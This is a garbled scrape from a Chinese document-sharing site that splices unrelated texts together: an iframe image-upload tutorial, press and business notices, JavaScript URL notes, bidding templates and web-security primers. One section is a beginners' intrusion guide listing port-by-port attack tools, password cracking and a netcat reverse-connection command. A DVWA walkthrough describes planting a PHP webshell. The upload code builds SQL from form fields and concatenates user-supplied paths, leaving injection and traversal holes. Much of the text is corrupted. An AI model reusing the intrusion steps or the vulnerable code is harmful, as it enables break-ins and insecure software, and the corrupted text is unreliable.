上传注意:其中的type=”hidden”是为了向服务器端传送除了文件之外的数据。ty" />
经过多方探索,结合网上的资料,我编写了此文档,经测试成功,可以实现无刷新页面上传文件。下面进行描述。
1.首先在页面中嵌入一Form表单可大可小。可设置样式
注意:其中的type=”hidden”是为了向服务器端传送除了文件之外的数据。type=”submit”,设置为隐藏,因为他不好看,我们用了一个buttom代替(id=”btnUpload”)
2.为了实现无刷新上传,需要添加一个iframe,这个样式设置为隐藏就可以了。
看上面的from中的target,指向的是iframe(name=”hiden_frame”)
3.js端触发提交按钮
//图片上传
$(".pic #btnUpload").click(function(){
$("#actionuserHidden").val(actionuser);
$("#actionpasswordHidden").val(actionpassword);
if(action=="insert"){
//以当前系统时间为临时文件夹名称
$("#directorynamHidden").val(directoryname);
}else{
//以当前修改企业名称为文件名
$("#directorynamHidden").val(directoryname);
}
if($("#uploadFile").val()){
var imageName=$("#uploadFile").val();
// var imgType;
// if($.browser.msie|| $.browser.webkit|| $.browser.safari){//IE下的值不同和火狐下的imageName不同
// imageName=imageName.substring(https://www.wendangku.net/doc/1a11597899.html,stIndexOf("\\")+1); // }
// if(imageName.indexOf(":\\")>=0){//兼容其他浏览器
// imageName=imageName.substring(https://www.wendangku.net/doc/1a11597899.html,stIndexOf("\\")+1); // }
var imgType=imageName.substring(https://www.wendangku.net/doc/1a11597899.html,stIndexOf(".")+1);
if(imgType=="jpg"||imgType=="png"||imgType=="JPG"||imgType=="PNG"||imgType=="bmp"||i mgType=="BMP"||imgType=="gif"){
var myDate=new Date();
var randonm=Math.ceil(Math.random()*100000).toString();
var
datestring=myDate.getFullYear().toString()+myDate.getMonth().toString()+myDate.getDate().toS tring()+myDate.getHours().toString()+
myDate.getMinutes().toString()+myDate.getSeconds().toString()+myDate.getMilliseconds().toStri ng();
imageName=datestring+randonm+"."+imgType;
$("#imgnameHidden").val(imageName);
//$("#uploadFrom").submit();
$("#uploadFrom").find("#submit").click();
//console.log($("#hidden_frame").parent())
}else{
MessageBox("文件格式不正确");
}
}else{
MessageBox("请选择图片");
}
});
注意:其中主要的是这句话
$("#uploadFrom").find("#submit").click();
其他的是为了上传其他的数据,还有就是判断文件的类型。大家可以自行使用。
4.这一步就是为了用webserviec写上传文件的服务器端接口,大家要注意form中的action 这个动作,后面的就是服务器webservice的接口地址,相对路径一定要设置清楚
//上?传?图?片?
[WebMethod(MessageName = "UpLoadPIC", Description = "")]
public void UpLoadPIC()
{
HttpFileCollection files = HttpContext.Current.Request.Files;
string actionuser = HttpContext.Current.Request.Form["actionuser"];
string actionpassword = HttpContext.Current.Request.Form["actionpassword"];
string directoryname=HttpContext.Current.Request.Form["directoryname"];
string imgname=HttpContext.Current.Request.Form["imgname"];
PhotoManage photo = new PhotoManage();
HttpContext.Current.Response.ContentType = "text/html";
HttpContext.Current.Response.ContentEncoding = System.Text.Encoding.Unicode;
HttpContext.Current.Response.Write(photo.UpLoadImg(actionuser, actionpassword,
directoryname, imgname, files));
}
注意:如何获得除了文件以外的actionuser等参数,使用的是HttpContext.Current.Request.Form,当然PhotoManage这个类的使用,只是为了调用UpLoadImg这个函数。
5.UpLoadImg函数接受文件存到某个文件夹下
//上?传?图?片?
public string UpLoadImg(string actionuser, string actionpassword, string directoryname, string imgname,HttpFileCollection files)
{
string message = "";
string filepath = Common.GetAppSetting("PHOTOPATH");
if (Common.Verification("dataInsert") == "false")
{
return
"";
}
HttpPostedFile postedFile = files[0];
if (postedFile.ContentLength > 104857600)
{
message = "{err:\"Exceed\"}";
return"";
}
string time = DateTime.Now.ToString();
string UpLoadImgOperate = string.Format("insert into
log([user],[table],[action],[dataname],[time])" +
" values('{0}','{1}','{2}','{3}','{4}')", actionuser, "文?件t夹
D"+directoryname, "上?传?图?片?", imgname, time);
int operateCount = DbService.ExcuteSQL(UpLoadImgOperate);
if (operateCount > 0)
{
try
{
string fileprename = imgname.Substring(0, https://www.wendangku.net/doc/1a11597899.html,stIndexOf("."));
//判D段?文?件t类え?型í
string fileType=imgname.Substring(https://www.wendangku.net/doc/1a11597899.html,stIndexOf(".")+1);
if(fileType== "jpg"|| fileType== "png"|| fileType== "JPG"|| fileType == "PNG" || fileType == "bmp" || fileType == "BMP" || fileType == "gif")
{
//判D断?文?件t夹D是?否?存?在ú
if (Directory.Exists(filepath + "\\" + directoryname))
{
if(File.Exists(filepath+ "\\"+ directoryname+ "\\"+ imgname))
{
imgname = fileprename +
DateTime.Now.ToString("yyyyMMddhhmmss").Trim() + "." + fileType;
}
postedFile.SaveAs(filepath + "\\" + directoryname + "\\" + imgname);
}
else
{
Directory.CreateDirectory(filepath + "\\" + directoryname);
postedFile.SaveAs(filepath + "\\" + directoryname + "\\" + imgname);
}
message = "{directoryname:\"" + directoryname + "\",imgname:\"" + imgname + "\"}";
return"";
}
else
{
message = "{err:\"Format\"}";
return"";
}
}
catch (Exception e)
{
string delectRecord = string.Format("delete * from log where [time]
='{0}'", time);
DbService.ExcuteSQL(delectRecord);
message = "{err:\"FileSystem\"}";
return"";
}
}
else
{
message = "{err:\"Recorde\"}";
return"";
}
}
主要是postedFile.SaveAs(filepath + "\\" + directoryname + "\\" + imgname);
这句话就是将客户端上传的文件放到指定的文件夹路径下。Filepath是我在配置文件web.config中写好的路径。
这句话是调用了客户端的函数,为了继续执行客户端程序,或者是给用户一个提醒,说上传成功或者是失败。
附带客户端失败处理函数
//上传失败回调函数
globalFunc.UploadError=function(err){
//MessageBox("图片上传失败"+err);
if(err.toString()=="authority"){
MessageBox("无权进行相关操作");
return;
}
var error=eval('('+err+')');
var reselt=error.err;
switch (reselt){
case "Exceed":
MessageBox("文件过大无法上传,请选择文件小于100M");
break;
case "Format":
MessageBox("文件格式不支持,选择JPG、PNG、BMP、GIF格式");
case "FileSystem":
MessageBox("服务器文件系统异常,请重新配置服务器");
break;
case "Recorde":
MessageBox("操作无法记录日志文件!");
break;
default :
break;
}
MessageBox("发生错误,文件无法上传!");
}
注意globalFunc是个对象数组
6.最后一个问题就是用表单的形式上传文件是有大小限制的,在服务器端,也就是web.config 配置文件中可以写上以下几句话
minLocalRequestFreeThreads="4"appRequestQueueLimit="100"/> 要写在system.web节点之下。maxRequetLength单位好像是字节。还有就是在IIS中也是限制的 要修改,大家可以百度一下。 基本上就是这么一个流程,有问题邮箱问741841403@https://www.wendangku.net/doc/1a11597899.html, 说明函格式,说明函格式范文 【爱文库】核心用户上传 说明函格式,说明函格式范文 尊敬的媒体朋友: 海辰机构作为一汽-大众“大众”品牌全国唯一指定公关代理公司,现就2006 年8 月1 0 日《京华时报》报道一汽-大众速腾后刹车油泵问题的进展情况向媒体朋友通报如下: 1.一汽-大众领导看到报道后非常重视,立即启动危机处理应急机制,在两个 小时内查明:到目前为止在全国范围尚没有收到一例关于后刹车盘油泵问题的投诉; 2.文中提到的用户情况为:该用户主观感觉车后部有异响,委托其修车的朋友检查,该朋友建议去4S 店做后刹车泵检查是否漏油,经一汽-大众特约维修服务 站亚之杰检查未发现任何问题; 3.一汽-大众有关方面就文中提及另外车辆问题正在努力联系记者请求提供车 架号以便一汽-大众澄清事实、查明原因,更好地为客户解决问题; 4.一汽-大众多年以来一直秉承“用户第一”的理念,特别是在今年营销变革 实施之后成立了“质量安全保障部”负责产品质量、安全方面的工作。因《京华时报》反应的问题涉及到汽车安全, Jay_h1218奉上 【爱文库】核心用户上传 根据一汽-大众相关规定:涉及安全问题必须24 小时之内解决。目前相关工 作已经全面启动,如有更新进展我们会随时通报媒体朋友。一汽-大众对媒体朋友多年来的支持与关注在此表示深深的感谢! 佛山市顺德区华达电器制造有限公司2003年在中山市黄圃镇新丰北路6号新 建一座工业园,因新工业园地处中山,2003 年6 月在中山市工商行政管理局注册 为“中山欧柏电器有限公司”,因公司发展需要,2008 年12 月更名为“中山欧 盈光电科技有限公司”。 “佛山市顺德区华达电器制造有限公司”及“中山欧盈光电科技有限公司”的股东是一致的,所以我公司对外开展业务时,以两家公司中任意一家公司的名义,都互为承担一切责任!特此说明! 佛山市顺德区华达电器制造有限公司(公章) 中山欧盈光电科技有限公司(公章) 2009 年12 月29 日 Jay_h1218奉上 附件3: 上传报名电子附件说明 注:学员提供报名电子附件时,须以姓名为文件夹,文件夹内包括以身份证号+材料名称(如身份证号+照片)命名的上传附件名。分子公司、直属企业汇总后,打包发送给集团公司人力资源部联系人赵洲洋。 1.学员电子照片的采集 采集的照片电子图像为彩色图像,按照1人1个图像文件的方式存储。图像文件采用“身份证号”命名,格式为“.jpg”具体参数如下: 扫描分辨率设定为300dpi 图片尺寸(像素):宽480×高640 文件大小:≥30KB且≤60KB 文件格式:jpg 被摄人服装:白色或浅色系 照片底色:蓝色 如下图所示: 只能采用数码照相机拍摄,数码相机要求像素不少于3百万。 2.身份证原件电子扫描件 采集的身份证原件为彩色图像,按照1人1个图像文件的方式存储。图像文件采用“身份证号”命名,格式为“.jpg”。具体参数如下: 扫描分辨率设定为150dpi 图片尺寸:保持原始证件大小(参考数据宽560×高395) 文件大小:≤50KB 学员如有更名情况,相应证明材料与身份证复印件一起扫描成一张图片,命名方式与身份证扫描件命名方式相同。 扫描分辨率设定为150dpi 图片尺寸:保持原始证件大小 文件大小:≤120KB 3.入学时最高学历证书原件的电子扫描件 采集的最高学历证书为彩色图像,按照1人1个图像文件的方式存储。图像文件采用“身份证号”命名,格式为“. jpg”。具体参数如下: 扫描分辨率设定为100dpi 图片尺寸:保持原始证件大小(参考数据宽1300×高900)文件大小:≤100KB 文件格式:jpg 4.其他材料 采集的其他材料为彩色图像,按照1人1个图像文件的方式存储。图像文件采用“身份证号”命名,格式为“. jpg”。具体参数如下: 扫描分辨率设定为100dpi 图片尺寸:保持原始证件大小(参考数据宽1300×高900) 文件大小:≤120KB 文件格式:jpg JS分段获取URL解析 URL : 统一资源定位符 (Uniform Resource Locator, URL) 完整的URL由这几个部分构成: scheme://host:port/path?query#fragment scheme = 通信协议 (常用的http,ftp,maito等) host = 主机 (域名或IP) port = 端口号 path = 路径 query = 查询 可选,用于给动态网页(如使用CGI、ISAPI、PHP/JSP/ASP/https://www.wendangku.net/doc/1a11597899.html,等技术制作的网页)传递参数,可有多个参数,用”&”符号隔开,每个参数的名和值用”=”符号隔开。 fragment = 信息片断 字符串,用于指定网络资源中的片断。例如一个网页中有多个名词解释,可使用fragment直接定位到某一名词解释。(也称为锚点.) 对于这样一个URL https://www.wendangku.net/doc/1a11597899.html,:80/seo/?ver=1.0&id=6#imhere 我们可以用javascript获得其中的各个部分 1, window.location.href 整个URl字符串(在浏览器中就是完整的地址栏) 2,window.location.protocol URL 的协议部分 本例返回值:http: 3,window.location.host URL 的主机部分 本例返回值:https://www.wendangku.net/doc/1a11597899.html, 4,window.location.port URL 的端口部分 如果采用默认的80端口(update:即使添加了:80),那么返回值并不是默认的80而是空字符本例返回值:”" 5,window.location.pathname URL 的路径部分(就是文件地址) 本例返回值:/seo/ 6,window.location.search 查询(参数)部分 除了给动态语言赋值以外,我们同样可以给静态页面,并使用javascript来获得相信应的参数值本例返回值:?ver=1.0&id=6 7,window.location.hash 锚点 本例返回值:#imhere 各个端口的入侵方法(入侵菜鸟必看)1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破(字典是关键) 最后SQLTools.exe入侵 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 (以上反向的,测试成功) sqlhelloz.exe 入侵ip 1433 (这个是正向连接) 2. 4899端口入侵 用4899过滤器.exe,扫描空口令的机器 3. 3899的入侵 对很早的机器,可以试试3389的溢出(win3389ex.exe) 对2000的机器,可以试试字典暴破。(tscrack.exe) 4. 80入侵 对sp3以前的机器,可以用webdav入侵; 对bbs论坛,可以试试上传漏洞(upfile.exe或dvup_delphi.exe) 可以利用SQL进行注入。(小榕的注入软件)。 5. serv-u入侵(21端口) 对5. 004及以下系统,可用溢出入侵。(serv5004.exe) 对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe) ====================================== 对serv-u的MD5加密密码,可以用字典暴破。(crack.vbs) 输入一个被serv-u加密的密码(34位长),通过与字典档(dict.txt)的比较,得到密码。如:cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A 6. 554端口 用real554.exe入侵。 7. 6129端口 用DameWare6129.exe入侵。 8. 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 9. 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)。 10. 其他入侵 利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。 各种端口的入侵方法1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPas*.**e 进行字典暴破(字典是关键) 最后SQLTool*.**e入侵 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。 js下载文件的实现方法一 f8b js下载文件的实现方法及注意 js中实现文件下载 (一) 最简单的方式是在页上做超级链接如:<a href="music/abc.m3">下载</a>。 但是这样服务器上的目录资源会直接暴露给最终用户会给站带来一些不安全的因素。 因此可以采用其它方式实现下载可以采用: 1、RequestDisatcher的方式进行; 2、采用文件流输出的方式下载。(推荐) 1、采用RequestDisatcher的方式进行 Js代码 <% resonse.setContentTye("alication/x-download");//设置为下载alication/x-download String filedownload = "/要下载的文件名";//即将下载的文件的相对径 String filedislay = "最终要显示给用户的保存文件名";//下载文件时显示的文件保存名称 String filenamedislay = URLEncoder.encode(filedislay,"UTF-8"); resonse.addHeader("Content-Disosition","attachment;filena me=" + filedislay); try { RequestDisatcher dis = alication.getRequestDisatcher(filedownload); 文件上传漏洞及解析漏洞总结 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。 文件上传后导致的常见安全问题一般有: 1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。 2)上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似); 3)上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。 4)上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本;等等。 要完成这个攻击,要满足以下几个条件: 首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。 其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。 一、从FCKEditor文件上传漏洞谈起 FCKEditor是一款非常流行的富文本编辑器,为了方便用户,它带有一个文件上传功能,但是这个功能却出过多次漏洞。 FCKEditor针对ASP/PHP/JSP等环境都有对应的版本,以PHP为例,其文件上传功能在: 附件上传方案设计 一、引题 B端业务系统流程中,经常遇到需要把文件或者材料拿给别人确认或查看的情况。 举个例子: 如当销售人员签完合同后,需要对合同要素进行录入并上传合同附件,由业务相关人员根据合同内容进行业务配置相关的产品服务。如果不能上传附件的话,销售人员需要将合同原件通过钉钉发送或者邮寄的方式寄给业务人员,这个过程将会浪费很多的时间。 邮寄的方式: 问清楚业务人员的联系方式与地址(哪个分公司?由于人员流动性原因有可能过一段时间就换人了); 通过手机选择一个快递公司; 输入收件地址与寄件地址,支付并下单; 将签署完的合同整理好,等待快递小哥上门取件; 快递小哥上门取件,打印快递单; 1天过去了; 2天过去了; 3天过去了; 业务人员收件,并根据合同内容进行后续操作流程。 钉钉的方式: ?将签署完的合同拍照或者扫描,进行整理后; ?在钉钉上找到业务人员,如果没有添加,还需进行添加,如果有,直接发送; ?业务人员接收到合同文件,根据合同内容进行后续操作; ?由于人员流动性原因,以及人的能动性。忘记保存在固定的文件中,合同扫描件可能会在交接过程中存在不完整的情况,导致系统上有的合同编号,没有合同扫描件或者合同照片。 以上流程中,可以看出: ?在合同对接过程中效率不是很高。 ?由于人员流动原因,系统上存在的合同编号有时会找不到对应的合同原件,没有办法追溯到合同信息的准确性。 在涉及文件材料的场景中,附件上传功能,用户可以将材料文件上传到系统中,他人可以快速的进行浏览、查阅。这一过程也会变得很有效率。 二、如何设计附件上传功能? 用户在进行附件上传时,需要提前将上传的文件准备好,只需点击上传,选择文件就可以进行上传了,上传完成后,需要查看上传文件以及数量是否正确,如果正确,这个动作就完成了,如果不正确, jquery.js文件报错-解决方法 tomcat首页报Directory listing for错误, eclipse启动tomcat,首页报404错误 引入一个正常的新项目后,eclipse报错: 一、jQuery.js文件报错 解决办法: 1.window-preferences-中将JavaScript -validator-erros warnings取消 2.将eclipse工作空间中的当前项目的.project文件中的 说明函格式,说明函格式范文
上传报名电子附件说明
JS分段获取URL解析
各个端口的入侵方法(入侵菜鸟必看)
js下载文件的实现方法一
文件上传漏洞及解析漏洞总结
《附件上传方案设计》
jquery.js文件报错-解决方法
一、注入漏洞 注入攻击(),简称注入攻击、注入,被广泛用于非法获取网站控制权,是发生在应用程序地数据库层上地安全漏洞.在设计程序,忽略了对输入字符串中夹带地指令地检查,被数据库误认为是正常地指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害. 通常情况下,注入地位置包括: ()表单提交,主要是请求,也包括请求; ()参数提交,主要为请求参数; ()参数提交; ()请求头部地一些可修改地值,比如、等; ()一些边缘地输入点,比如文件地一些文件信息等.
注入地危害不仅体现在数据库层面上,还有可能危及承载数据库地操作系统;如果注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于: ()数据库信息泄漏:数据库中存放地用户地隐私信息地泄露.作为数据地存储中心,数据库里往往保存着各类地隐私信息,注入攻击能导致这些隐私信息透明于攻击者. ()网页篡改:通过操作数据库对特定网页进行篡改. ()网站被挂马,传播恶意软件:修改数据库一些字段地值,嵌入网马链接,进行挂马攻击. ()数据库被恶意操作:数据库服务器被攻击,数据库地系统管理员帐户被篡改. ()服务器被远程控制,被安装后门.经由数据库服务器提供地操作系统支持,让黑客得以修改或控制操作系统.
()破坏硬盘数据,瘫痪全系统. 解决注入问题地关键是对所有可能来自用户输入地数据进行严格地检查、对数据库配置使用最小权限原则. 通常使用地方案有: ()所有地查询语句都使用数据库提供地参数化查询接口,参数化地语句使用参数而不是将用户输入变量嵌入到语句中.当前几乎所有地数据库系统都提供了参数化语句执行接口,使用此接口可以非常有效地防止注入攻击. ()对进入数据库地特殊字符('"\<>*;等)进行转义处理,或编码转换. ()确认每种数据地类型,比如数字型地数据就必须是数字,数据库中地存储字段必须对应为型. ()数据长度应该严格规定,能在一定程度上防止比较长地注入语句无法正确执行. ()网站每个数据层地编码统一,建议全部使用编码,上下层编码不一致有可能导致一些过滤模型被绕过.
上传文件和导出的测试用例设计 一:上传图片 对于上传的文件,假设系统要求上传的文件为jpg或gif格式图片,大小为<=5M的文件,我们在设计测试用例时,应该从以下几个方面进行考虑: 1:文件类型正确,文件大小合适的校验 例如:上传一种jpg或gif的格式图片,文件大小为4.9M,结果为上传成功 2:文件类型正确,文件大小不合适的校验 例如:上传一种jpg或gif的格式图片,文件大小为5.1M,提示为:“上传的附件中大小不能超过5M” 3:文件类型正确,文件大小合适的校验 例如:上传一种jpg或gif的格式图片,文件大小为5M,结果为上传成功 4:文件类型错误,文件大小合适的校验 例如:上传.doc;.xls;ppt;bmp;jpeg;psd;tiff;tga;png;swf;svg;pcx;dxf;wmf;emf;lic;eps;.txt等格式文件,文件大小合适,提示“只能上下jpg或gif格式图片” 5:文件类型和文件大小合法,上传一个0kb的图片,提示信息:“请重新上传文件,或者是不能上传0kb的图片” 6:文件类型和文件大小合法,上传一个正在使用中的图片(即打开该图片,在上传该图片),上传成功 7:文件类型和文件大小合法,手动输入一个存在的图片地址,点击上传,上传成功 8:文件类型和文件大小合法,手动输入一个不存在的图片地址,点击上传,提示:“请正确选择要上传的文件”
9:文件类型和大小都合法,手动输入一个存在的图片名称,点击上传,一般情况下系统会提示:“请正确选择要上传的文件的路径” 二:文件导出 1、验证导出文件名长度,根据具体情况而定 2、验证导出文件为空的情况 3、验证导出文件名为特殊字符的情况 4、验证导出全部资料的情况,导出的信息是否正确 5、验证导出部分资料的情况,导出的信息是否正确 6、验证导出大量数据时的时间是否在合理的时间范围内 7、验证导出目的磁盘空间已满的情况下,导出是否有友好的处理方式 8、验证导出目的的文件夹为只读的情况下,导出时是否有友好的的提示信息 --------------------------------------------------------------- 文件上传: ***页面*** 1、页面美观性、易用性 2、按钮文字正确性 3、说明文字是否正确 4、正确/错误的提示文字是否正确 5、提示当前位置是否正确,并且和其他页面保持一致格式 6、必添项的标示是否正确 ***功能***
js取得当前url,javascript获取当前页面url值,js获取域名- js取得当前url,javascript获取当前页面url值,js获取域名 分类:JS 2010-09-01 14:14 如果获取“当前”域名 host = window.location.host; url=document.domain; url = window.location.href; 取得完整url路径: 用以下代码可以完整研证结果: thisDLoc = document.location; thisURL = document.URL; thisHREF = document.location.href; thisSLoc = self.location.href; thisTLoc = top.location.href; thisPLoc = parent.document.location; thisTHost = top.location.hostname;
thisHost = location.hostname; 还有一种稍有些复杂的取域名的方法,也是过滤了文件夹名,文件名,参数 …… var getHost = function(url) { var host = "null"; if(typeof url == "undefined"|| null == url) { url = window.location.href; } var regex = /.*\:\/\/([^\/]*).*/; var match = url.match(regex); if(typeof match != "undefined" && null != match) { host = match[1]; } return host; }
文件上传漏洞利用及防御方案 作者美创科技安全实验室 01、漏洞介绍 文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回。 如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网。 02、文件上传漏洞原理 03、文件上传漏洞复现 利用DVWA靶场进行文件上传漏洞演练: 1.Low Security Level 查看源码: 这是最开始的页面: 我们尝试上传桌面上的一个图片2.jpg
这时,我们来研究一下这个路径:../../hackable/uploads/2.jpg succesfully uploaded! 这是一个绝对路径,我们直接输入网址http://127.0.0.1/DVWA/hackable/uploads/2.jpg 这时候,我们尝试上传桌面上的1.php文件,写入的内容为 如图,1.php文件上传成功,服务器并未做任何过滤限制: 我们再次访问上传的路径:http://127.0.0.1/DVWA/hackable/uploads/1.php 说明存在文件上传漏洞,能够上传并且执行php文件 这个时候如果上传一句话木马:
并用中国蚁剑进行连接,就可以得到这个服务器的Webshell 这样我们就可以访问这个服务器的任何文件夹,可见,文件上传漏洞的是非常具有危害性的。 2.Medium Security Level 查看源码: 源码中对上传的文件类型跟大小对进行了判断过滤,也就是说正常情况下,不能够上传不符合文件类型的文件。 我们用burpsuite抓包,将文件的上传类型修改为image/jepg
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort() + path + "/"; %>
选择导入数据源: |
SQL注入 漏洞原理 如果程序根据用户输入的参数动态生产SQL语句并执行,黑客可以通过传入恶意参数值注入自己定义的语句,使数据库执行任意自己需要的指令,实现数据窃取或入侵破坏。 安全威胁 ?导致拖裤,敏感信息泄露 ?数据被篡改、删除 ?数据库主机服务器被入侵 需防护场景 所有用户输入参数并进行数据库操作的场景。除了常见的select、insert 场景,也必须警惕拼接参数使用like、having、group by、order by、limited、offset等子句场景,必须进行过滤转义。 防护方法 ?对于SQL注入,最稳妥和保险的方法只有使用预编译语句然后绑定变量。 通过使用占位符,保持查询语句和数据相分离。查询语句结构由占位符 定义,SQL语句发送给数据库并做好准备,然后准备好的语句与参数值 相结合。这样就防止了查询被篡改,因为参数值与已编辑好的语句相结 合,而不是SQL字符串。从根本上避免了用户输入的恶意参数当作SQL 语句执行。 ?当实在是有like、having、group by、order by、limited、offset等动态查询时才考虑白名单输入过滤,转义等方法。 ?弱类型语言,使用变量之前声明变量类型。
XSS跨站脚本 漏洞原理 如果web页面在动态展示数据时使用了用户输入的内容,但是未做输入过滤和输出转义,导致黑客可以通过参数传入恶意代码,当用户浏览页面时恶意代码会被执行。 跨站脚本攻击有三种形式 1.反射型跨站脚本攻击 攻击者会通过社会工程手段,发送一个URL链接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。 2.存储型跨站脚本攻击 攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户流量展示该数据的页面时,浏览器会执行页面中嵌入的恶意代码。所有浏览器都会受到攻击。 3.DOM型跨站脚本攻击 由于HTML页面中,定义了一段JS,根据用户的输入,显示一段HTML代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。 DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用JavaScript,才可以防御。 安全威胁 利用跨站脚本攻击实现的攻击危害: ?窃取用户cookie,伪造用户身份登录。 ?控制用户浏览器 ?结合浏览器及其插件漏洞,下载木马病毒到浏览者的计算机上执行 ?衍生URL跳转漏洞 ?让官方网站出现钓鱼页面 ?蠕虫攻击 总而言之,前端脚本能实现的所有功能都会被跨站脚本利用 5.3需防护场景 所有将不可信的数据输出到HTML页面时的场景: ?将GAT参数值按原值输出到页面中(包括HTTP包头、HTML标签、JavaScript、CSS等处),必须做反射XSS防护。
技术澄清格式范本:澄清问题的电子版和纸质版同时交会务组发出。澄清问题的电子版的word文件名必须是:招标分包号-投标单位全称-序号。举例如:GDCX-TYZB11-09-03河北新宝丰电线电缆有限公司1 国电XX项目xxx招标澄清文件 (技术部分) 招标设备名称:XXXX 招标分包号:GDCX-XX ZB11-XXX-XXX 投标人:XXX 1、 签发人:XXX XXX年XX月XX日 请于xxxx年x月xx日xx:xx前将贵方的澄清回复文件(须有投标人授权代表的签名或公章)以书面形式(一正三副)递交会务组(xxxx饭店:xxx房间)请注明包号、投标人 请先将答复文件电子版上传至中国电力商务网后再递交纸质版。没有上传答复文件电子版的,纸质版不予接收。 商务澄清格式范本:澄清问题的电子版和纸质版同时交会务组发出。澄清问题的电子
版的word文件名必须是:招标分包号-投标单位全称-序号。举例如:GDCX-TYZB11-09-03河北 新宝丰电线电缆有限公司1 国电XX项目xxx招标澄清文件 (商务部分) 招标设备名称:XXXX 分包号:GDCX-XX ZB11-XXX-XXX 投标人:XXX 1、 签发人:XXX XXX年XX月XX日 请于xxxx年x月xx日xx:xx前将贵方的澄清回复文件(须有投标人授权代 表的签名或公章)以书面形式(一正三副)递交会务组(xxxx饭店:xxx房间)请注明包号、投标人 请先将答复文件电子版上传至中国电力商务网后再递交纸质版。没有上传答复
文件电子版的,纸质版不予接收。 附件:澄清文件常用统一用语 澄清文件常用统一用语 一、要求投标人提供业绩: 招标文件中有如下业绩要求:xxxx,请贵公司提供满足以上要求的合同副本及对应的用户证明或投运证明(必须含有投运时间及必要的技术参数)。 二、要求提供资质文件: 招标文件中有如下资质要求:Xxxx,请提供以上要求的资质文件副本。 三、要求投标人撤回偏差: 1、贵公司提出的商务偏差招标人均不接受,请撤回。 2、贵公司提出的第x条商务偏差:xxx”招标人不接受,请撤回。 四、供货范围类: 1、招标文件中明确要求提供以下部件(设备),A、Xxxx,B、xxxx ,请明确贵公司的报价表中是否包含以上部件(设备),并提供其价格的明细表。 2、贵公司提供的报价表中的供货范围与本次招标中澄清的内容不一致,请明确本次招标中的澄清内容是否包含在总报价中,并提供澄清内容的报价明细表。
跨站脚本执行漏洞详解 本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(FAQ)。 【漏洞成因】 原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。 【漏洞形式】 这里所说的形式,实际上是指CGI输入的形式,主要分为两种: 1.显示输入 2.隐式输入 其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。 显示输入又可以分为两种: 1.输入完成立刻输出结果 2.输入完成先存储在文本文件或数据库中,然后再输出结果 注意:后者可能会让你的网站面目全非!:( 而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。 【漏洞危害】 大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。 1.获取其他用户Cookie中的敏感数据 2.屏蔽页面特定信息 3.伪造页面信息 4.拒绝服务攻击 5.突破外网内网不同安全设置 6.与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等 7.其它 一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。
